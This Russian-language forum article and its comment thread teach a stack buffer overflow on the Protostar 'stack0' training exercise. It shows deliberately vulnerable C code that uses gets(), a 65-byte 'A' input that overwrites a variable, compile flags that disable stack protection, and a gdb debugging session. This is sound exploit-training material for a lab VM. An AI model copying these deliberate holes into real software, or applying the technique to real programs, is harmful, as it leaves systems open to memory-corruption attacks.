Статья Переполнение буфера и перезапись значения переменных - Изучение методов эксплуатации на примерах, часть 1

Все части переполнение буфера
Следующая часть Переполнение буфера и перезапись переменных к конкретному значению - разработка эксплойтов, часть 2

Доброго времени суток, посетители портала Codeby =) Решил написать цикл статей посвященный эксплуатации бинарных уязвимостей, в народе это называется чёрной магией. В сети есть куча статей и материалов на эту тему, а четкого пути так и не видно... Потому, что надо обладать огромным багажом знаний... Так как же научиться писать эксплойты? Находить 0дей уязвимости, обходить такие защиты, как DEP\ASLR ? Ответ прост нужна практика, практика и еще раз практика, чем мы с вами сейчас и займемся. Я буду вашим проводником.

В сети был такой учебный ресурс, как .

Exploit Exercises предлагает множество виртуальных машин, документацию и задачи, которые пригодятся в изучении повышения привилегий, анализа уязвимостей, разработки эксплойтов, отладки, реверс-инжиниринга и т.д.

Сейчас этот ресурс не доступен, так, как он переехал и доступен теперь по новому .

Начнем мы свой путь в профессию Exploit-Developer с решения различных ExploitMe на образе . Этот образ хорош тем, что в нем вы изучите основы, азы, переполнения буфера, уязвимости форматирования строки, переполнение кучи... А так же в нем отключены защиты подобные DEP и ASLR, чтобы мы могли сконцентрироваться именно на изучении самих уязвимостей и их эксплуатации. Обходить защиты мы будем, но чуть позже, когда наберемся опыта, а пока, что будем качать наш с вами скилл.

И так перейдем к делу, качаем образ виртуальной машины и запускаем его на VirtualBox'e.

Логин и пароль "user"

Самое первое задание это .

Описание ExploitMe
Этот уровень вводит в концепцию, что доступ к памяти может осуществляться за пределами выделенной области, как размещаются переменные стека, и что изменение за пределами выделенной памяти может изменить выполнение программы.

Переходим в каталог с заданием
cd /opt/protostar/bin/


Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}
Решение
Тут всё стандартно, за исключением того, что в коде присутствует ключевое слово volatile. Сказал бы я, но... Рассмотрим более подробно, что представляет из себя переполнение буфера, что это за тип уязвимости такой... Поэтому начнем с разбора исходного кода программы.

Ключевое слово volatile информирует компилятор, что значение переменной может меняться извне. Это может произойти под управлением операционной системы, аппаратных средств или другого потока. Поскольку значение может измениться, компилятор каждый раз загружает его из памяти.

Посмотрим еще раз на исходный код программы, видим, что есть буфер в 64 байта, в этот буфер будет записана строка посредством функции gets().

Посмотрим описание функции.

Функция gets считывает строку из стандартного потока ввода (stdin) и помещает ее в массив указанный аргументом. Чтение строки производится пока не будет встречен символ «переход на новую строку», или не будет достигнут конец файла.

Если чтение строки завершилось по считыванию символа «переход на новую строку», то символ «переход на новую строку» не записывается в массив, а заменяется символом «конец строки»

Применение этой функции не рекомендуется, так как размер считываемой строки не ограничивается размером массива, в который должна быть записана считываемая строка. В результате может возникнуть переполнение массива и несанкционированная запись в память, что приведет к ошибкам в работе программы или ее зависанию.

Вернемся к исходному коду и посмотрим на условие в программе. Если переменная modified не равняется нулю тогда печатается текст «you have changed the ‘modified’ variable», иначе «Try again?».

Переменная modified установлена со значением ноль, поэтому всегда будет печататься текст «Try again?».

Если мы запустим программу и передадим, ей строку типа "ААААBBBCCCC" то ничего не произойдет, а если передадим строку большего размера, чем указано в буфере "...AAAABBBBCCCCDDDD" то мы перезапишем переменную. Посмотрите на диаграмму ниже. В памяти в стеке это будет выглядеть примерно так.

27192



Исходя из того, что modified равен нулю, нам надо её изменить, что мы и сделаем. Используем буфер, функцию gets и volatile. Просто передадим в буфер строку не 64 байта, как положено, а 65, чтобы перезаписать значение переменной modified. Чтобы не вводить вручную данные, воспользуемся python’ом и перенаправим вывод в нашу программу.

python -c "print 'A' * 65" | ./stack0

Отлично, переменная перезаписана, а на экране отображается текст «you have changed the ‘modified’ variable», цель достигнута! Когда будете работать над очередным переполнением буфера, важно понимать, где и как находятся данные в стеке, поэтому вспоминайте эту диаграмму. В этом ExploitMe мы научились перезаписывать значение переменной, используя уязвимость переполнения буфера, теперь можно смело переходить на следующий уровень - .
 

InetTester

Green Team
21.10.2018
308
43
BIT
5
Очень сильно не хватает примера дизасемблерирования кода, и работы с дизасемблером.
Хоть с самым простым objdump.
 
Последнее редактирование:

fuzzz

Green Team
03.02.2019
249
470
BIT
2
Очень сильно не хватает примера дизасемблерирования кода, и работы с дизасемблером.
Хоть с самым простым objdump.

Вы совершенно правы, но я решил пойти другим путем. На данном этапе он не нужен. Всему свое время... Это обязательно будет, objdump, gdb, ldd в следующих частях, а пока я решил огородить от этого читателей на некоторое время.
 
  • Нравится
Реакции: ZealotTV
D

DrDerico

Скажите пожалуйста, почему хотя переменная modified и объявлена раньше буфера, на в памяти располагается после него? Или это особенность для volatile переменных?
 
  • Нравится
Реакции: ActionNum

ActionNum

Well-known member
27.11.2016
80
93
BIT
0
Скажите пожалуйста, почему хотя переменная modified и объявлена раньше буфера, на в памяти располагается после него? Или это особенность для volatile переменных?
Хороший вопрос. На мой взгляд это особенности работы компилятора или ОС. Нужно посмотреть выделение памяти в конкретной ОС. Мне тоже бы хотелось услышать ответ от автора.
 

fuzzz

Green Team
03.02.2019
249
470
BIT
2
Скажите пожалуйста, почему хотя переменная modified и объявлена раньше буфера, на в памяти располагается после него? Или это особенность для volatile переменных?

На картинке стек перевернутый просто он для простоты некоторых моментов тут так нарисован, это не особенность volatile. С начало в стек кладутся аргументы функций справа налево, потом адрес возврата. потом локальные переменные уже по порядку в том числе и буфер.

char **argv <------------ аргументы функций
int argc
ret <------ адрес возврата
modified; <------ локальные переменные в том числе и сам буфер.
... <------ дополнительное пространство несколько байт созданное компилятором для того чтобы выравнить стек
...
...
buffer[64]; <------- конец буфера
...
buffer[0]; <------- начало буфера
...
...
... <----------- верхушка стека ESP


Про стек можно почитать . + гугл.
 
Последнее редактирование:

fuzzz

Green Team
03.02.2019
249
470
BIT
2
а можно подробней про установку образа.

Там ничего сложного нет. Устанавливать его не надо образ собран как Live-CD.

Переходим на официальный сайт, скачиваем и устанавливаем VirtualBox.



29172


потом
Выбираем из списка нашу ВМ, заходим в меню "Настроить"

29173


Готово. Затем запускаем. Если все равно не понятно. Посмотри статьи как ставить Kali linux на VirtualBox тут на кодбае. Тоже самое и Protostar.
 

wooolff

Green Team
19.02.2017
233
36
BIT
0
я как раз его пошёл устанавливать как кали, а какой линукс, какая разрядность, скок всего выделять хз.))))
 

fuzzz

Green Team
03.02.2019
249
470
BIT
2
я как раз его пошёл устанавливать как кали, а какой линукс, какая разрядность, скок всего выделять хз.))))
кали - дебиан, а тут просто оракл 32 бит линукс указываешь. ну 1гб вполне сойдет под память. можно даже меньше. на скринах выше видно.
 

fuzzz

Green Team
03.02.2019
249
470
BIT
2
подскажите как решить проблему открытия файла stack0?
Не совсем понял вопроса. Можно запустить 2 VM кали и протостар. И дальше просто подключится по ssh к протостар. как запустить ? ./stack0 или так /opt/protostar/bin/stack0
 

mr.none

Green Team
08.09.2018
28
3
BIT
0
Не совсем понял вопроса. Можно запустить 2 VM кали и протостар. И дальше просто подключится по ssh к протостар. как запустить ? ./stack0 или так /opt/protostar/bin/stack0

Я имел ввиду как открыть исходник, чтобы посмотреть код. Понимаю, что он предоставлен, но хотелось бы не просто запустить ./stack0 а именно открыть его, например для редактирования.
Спасибо, что так быстро реагируете и отвечаете на вопросы)
 

fuzzz

Green Team
03.02.2019
249
470
BIT
2
Я имел ввиду как открыть исходник, чтобы посмотреть код. Понимаю, что он предоставлен, но хотелось бы не просто запустить ./stack0 а именно открыть его, например для редактирования.
Спасибо, что так быстро реагируете и отвечаете на вопросы)
Ты его не посмотришь не как. Потому что написана программа на Си т.е. на скомпилированном языке программирования. Это не скриптовой язык программирования где код посмотреть можно. К примеру ты можешь...

В директории home\user\ или директорииtmp скомпилировать - собрать свой файл.Точно такой же с небольшими изменениями как ты хочешь ))

вот ключи для компиляции кода
Код:
gcc -fno-stack-protector -z execstack -m32 -g program.c -o program

Если уж очень хочется посмотреть на код. Тогда...

Можно к примеру посмотреть код в IDA Pro, воспользовавшись декомпилятором hex-rays

И то код надо допиливать

30682


Т.е доводить его до ума

30681


Нужно это чтобы понять алгоритм работы программы так сказать...
 

Salivan

Green Team
24.06.2019
44
13
BIT
0
кали - дебиан, а тут просто оракл 32 бит линукс указываешь. ну 1гб вполне сойдет под память. можно даже меньше. на скринах выше видно.
Это актуально в 2019 году? компиляторы по умолчанию собирают с защитой от переполненения, форматирования строк и прочее, нет?
 

fuzzz

Green Team
03.02.2019
249
470
BIT
2
Это актуально в 2019 году? компиляторы по умолчанию собирают с защитой от переполненения, форматирования строк и прочее, нет?
да, это задачки на которые учат ломать без защит (База эксплуатации). Потом можно порешать Fusion с защитами. Там уже mitigation ломать надо.
 
Последнее редактирование:

swagcat228

Заблокирован
19.12.2019
341
86
BIT
0
скомпилил на х64, поставил 2 точки останова: на main и на gets.
запустил командой run.

C-подобный:
(gdb) disassemble main
Dump of assembler code for function main:
   0x0000555555555145 <+0>:    push   rbp
   0x0000555555555146 <+1>:    mov    rbp,rsp
   0x0000555555555149 <+4>:    sub    rsp,0x60
   0x000055555555514d <+8>:    mov    DWORD PTR [rbp-0x54],edi
   0x0000555555555150 <+11>:    mov    QWORD PTR [rbp-0x60],rsi
=> 0x0000555555555154 <+15>:    mov    DWORD PTR [rbp-0x4],0x0
   0x000055555555515b <+22>:    lea    rax,[rbp-0x50]
   0x000055555555515f <+26>:    mov    rdi,rax
   0x0000555555555162 <+29>:    mov    eax,0x0
   0x0000555555555167 <+34>:    call   0x555555555040 <gets@plt>
   0x000055555555516c <+39>:    mov    eax,DWORD PTR [rbp-0x4]
   0x000055555555516f <+42>:    test   eax,eax
   0x0000555555555171 <+44>:    je     0x555555555181 <main+60>
   0x0000555555555173 <+46>:    lea    rdi,[rip+0xe8e]        # 0x555555556008
   0x000055555555517a <+53>:    call   0x555555555030 <puts@plt>
   0x000055555555517f <+58>:    jmp    0x55555555518d <main+72>
   0x0000555555555181 <+60>:    lea    rdi,[rip+0xea9]        # 0x555555556031
   0x0000555555555188 <+67>:    call   0x555555555030 <puts@plt>
   0x000055555555518d <+72>:    mov    eax,0x0
   0x0000555555555192 <+77>:    leave
   0x0000555555555193 <+78>:    ret

=> 0x0000555555555154 <+15>: mov DWORD PTR [rbp-0x4],0x0
тут, получается, мы присваиваем значение ноль (0х0) в адрес на четыре меньше от дна стека. то-бишь на 4-тую с верху ячейку.

(gdb) x/i $rip
=> 0x555555555154 <main+15>: mov DWORD PTR [rbp-0x4],0x0
получается, что мы просим вывести отладчик инструкцию (содержимое указателя), которая содержится по адресу RIP
убеждаемся, что точка останова ждет команды, что бы обнулить modified, в которой сейчас лежит мусор.

(gdb) nexti
просим отладчик показать что будет дальше
0x000055555555515f 13 gets(buffer);
отладчик показывает нам строчку на СИ
хочет получить, видимо, ввод от нас и положить его в буфер.


а как теперь туда передать строчку в 77 символов?
У меня на x64 почему-то нужно 77 символов что бы добраться до памяти modified


(gdb) x/2i $rip
=> 0x555555555154 <main+15>: mov DWORD PTR [rbp-0x4],0x0
0x55555555515b <main+22>: lea rax,[rbp-0x50]

после обнуления памяти 4й сверху ячейки мы попадем на инструкцию lea - load effectivе address
которая загружает текущее значение отсюда rbp-0x50 в RAX - аккамулятор. я ещё не совсем понимаю что за аккамулятор, но щас посмотрим)

0x55555555515f <main+26>: mov rdi,rax
после чего значение из RAX кладётся в RDI - индекс приёмника.

вопрос, зачем делать двойную работу? почему бы сразу не положить значение в индекс приёмника?

C-подобный:
(gdb) x/x $rbp-0x50
0x7fffffffe250:    0xffffe276
(gdb) x/i $rbp-0x50
   0x7fffffffe250:    jbe    0x7fffffffe234
(gdb) nexti
13      gets(buffer);
(gdb) x/i $rip
=> 0x55555555515b <main+22>:    lea    rax,[rbp-0x50]
(gdb)

тут что-то не понятное.
попробую так:
(gdb) x/x $rax 0x555555555145 <main>: 0xe5894855
в RAX сейчас что-то записано. вернее в памяти, куда указывает RAX

(gdb) x/x $rbp-0x50 0x7fffffffe250: 0xffffe276
в RPB-50 тоже.

(gdb) nexti


C-подобный:
   0x000055555555515b <+22>:    lea    rax,[rbp-0x50]
=> 0x000055555555515f <+26>:    mov    rdi,rax
   0x0000555555555162 <+29>:    mov    eax,0x0
выполнилось lea. посмотрим что поменялось.

(gdb) x/x $rbp-0x50 0x7fffffffe250: 0xffffe276 (gdb) x/x $rax 0x7fffffffe250: 0xffffe276

крююююто) пробуем дальше
(gdb) x/x $eax 0xffffffffffffe250: Cannot access memory at address 0xffffffffffffe250

всмысле? ну ладно. nexti
=> 0x0000555555555167 <+34>: call 0x555555555040 <gets@plt>
шо такое call я ещё не знаю. пойду читать книгу.
(gdb) x/i 0x555555555040 0x555555555040 <gets@plt>: jmp QWORD PTR [rip+0x2fda] # 0x555555558020 <gets@got.plt>

после большого количества команд nexti
C-подобный:
(gdb) x/4i $rip
=> 0x7ffff7e736f8 <_IO_gets+328>:    call   0x7ffff7e7fc60 <__GI___uflow>
   0x7ffff7e736fd <_IO_gets+333>:    cmp    eax,0xffffffff
   0x7ffff7e73700 <_IO_gets+336>:    jne    0x7ffff7e73641 <_IO_gets+145>
   0x7ffff7e73706 <_IO_gets+342>:    xor    r8d,r8d
(gdb) nexti
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
39    in iogets.c
(gdb) x/4i $rip
=> 0x7ffff7e736fd <_IO_gets+333>:    cmp    eax,0xffffffff
   0x7ffff7e73700 <_IO_gets+336>:    jne    0x7ffff7e73641 <_IO_gets+145>
   0x7ffff7e73706 <_IO_gets+342>:    xor    r8d,r8d
   0x7ffff7e73709 <_IO_gets+345>:    jmp    0x7ffff7e7364f <_IO_gets+159>
(gdb)

появилась возможность ввести что-то.
(gdb) x/x $eax 0x41: Cannot access memory at address 0x41
походу это оно!

0x41 = символ 'A'
инструкция cmp сравнивает значение 0xffffffff со значением eax
(gdb) i r eax eax 0x41 65
а в нем у нас наш символ A


далее:

C-подобный:
(gdb) disassemble main
Dump of assembler code for function main:
   0x0000555555555145 <+0>:    push   rbp
   0x0000555555555146 <+1>:    mov    rbp,rsp
   0x0000555555555149 <+4>:    sub    rsp,0x60
   0x000055555555514d <+8>:    mov    DWORD PTR [rbp-0x54],edi
   0x0000555555555150 <+11>:    mov    QWORD PTR [rbp-0x60],rsi
   0x0000555555555154 <+15>:    mov    DWORD PTR [rbp-0x4],0x0
   0x000055555555515b <+22>:    lea    rax,[rbp-0x50]
   0x000055555555515f <+26>:    mov    rdi,rax
   0x0000555555555162 <+29>:    mov    eax,0x0
   0x0000555555555167 <+34>:    call   0x555555555040 <gets@plt>
   0x000055555555516c <+39>:    mov    eax,DWORD PTR [rbp-0x4]
=> 0x000055555555516f <+42>:    test   eax,eax
   0x0000555555555171 <+44>:    je     0x555555555181 <main+60>
   0x0000555555555173 <+46>:    lea    rdi,[rip+0xe8e]        # 0x555555556008
   0x000055555555517a <+53>:    call   0x555555555030 <puts@plt>
   0x000055555555517f <+58>:    jmp    0x55555555518d <main+72>
   0x0000555555555181 <+60>:    lea    rdi,[rip+0xea9]        # 0x555555556031
   0x0000555555555188 <+67>:    call   0x555555555030 <puts@plt>
   0x000055555555518d <+72>:    mov    eax,0x0
   0x0000555555555192 <+77>:    leave 
   0x0000555555555193 <+78>:    ret   
End of assembler dump.
(gdb) x/x $rbp-0x4
0x7fffffffe1ec:    0x41414141
(gdb) x/4x $rbp-0x4
0x7fffffffe1ec:    0x41414141    0x41414141    0x41414141    0x41414141
(gdb) x/10x $rbp-0x4
0x7fffffffe1ec:    0x41414141    0x41414141    0x41414141    0x41414141
0x7fffffffe1fc:    0x41414141    0x41414141    0x41414141    0x41414141
0x7fffffffe20c:    0x41414141    0x41414141
(gdb) x/x $eax
0x41414141:    Cannot access memory at address 0x41414141
(gdb)

мне кажется, что сейчас нас ждёт segfault.

так как мы перезаписали не только modified, но и ещё кусок памяти за ней. приличный кусок памяти.

ы
C-подобный:
End of assembler dump.
(gdb) x/i 0x555555555181
   0x555555555181 <main+60>:    lea    rdi,[rip+0xea9]        # 0x555555556031
(gdb) x/i $rip+0xea9
   0x55555555601c:    and    BYTE PTR [rdi],ah
(gdb) x/i $rdi
   0x7fffffffe1a1:    rex.B
(gdb) x/i 0x0000555555555171
   0x555555555171 <main+44>:    je     0x555555555181 <main+60>
(gdb) x/i 0x555555555181
   0x555555555181 <main+60>:    lea    rdi,[rip+0xea9]        # 0x555555556031
(gdb) x/4i 0x0000555555555171
   0x555555555171 <main+44>:    je     0x555555555181 <main+60>
=> 0x555555555173 <main+46>:    lea    rdi,[rip+0xe8e]        # 0x555555556008
   0x55555555517a <main+53>:    call   0x555555555030 <puts@plt>
   0x55555555517f <main+58>:    jmp    0x55555555518d <main+72>
(gdb) x/4i 0x55555555518
   0x55555555518:    Cannot access memory at address 0x55555555518
(gdb) x/i 0x555555556008
   0x555555556008:    jns    0x555555556079
(gdb) x/4i 0x555555556008
   0x555555556008:    jns    0x555555556079
   0x55555555600a:    jne    0x55555555602c
   0x55555555600c:    push   0x20657661
   0x555555556011:    movsxd ebp,DWORD PTR [rax+0x61]
(gdb) nexti
0x000055555555517a    16          printf("you have changed the 'modified' variable\n");
(gdb) nexti
you have changed the 'modified' variable
0x000055555555517f    16          printf("you have changed the 'modified' variable\n");
(gdb) nexti
0x000055555555518d    18          printf("Try again?\n");
(gdb) nexti
20    }
(gdb) nexti
0x0000555555555193    20    }
(gdb) nexti

Program received signal SIGSEGV, Segmentation fault.
0x0000555555555193 in main (argc=2, argv=0x7fffffffe2d8) at stack0.c:20
20    }
(gdb) nexti

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.

получается я прошёл уровень, ещё и сломал всё) круто)
 
Последнее редактирование:
  • Нравится
Реакции: brekpoint и B13

JackRussell

Green Team
26.04.2020
16
3
BIT
0
В середине статьи мой мозг уже выключился. Впервые пытаюсь понять вопрос переполнения буфера. Подскажите пожалуйста. Что можно прочитать в качестве базы, чтобы понимать, где перепрлнять буфер нужно. Я кроме кода ничего не понял. Совсем зелёный видимо в этом вопросе. Например, каталог с заданием необходимо искать искать в установленной и запущенной виртуальной машине? Для чего этот код необходим?
Спасибо!
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!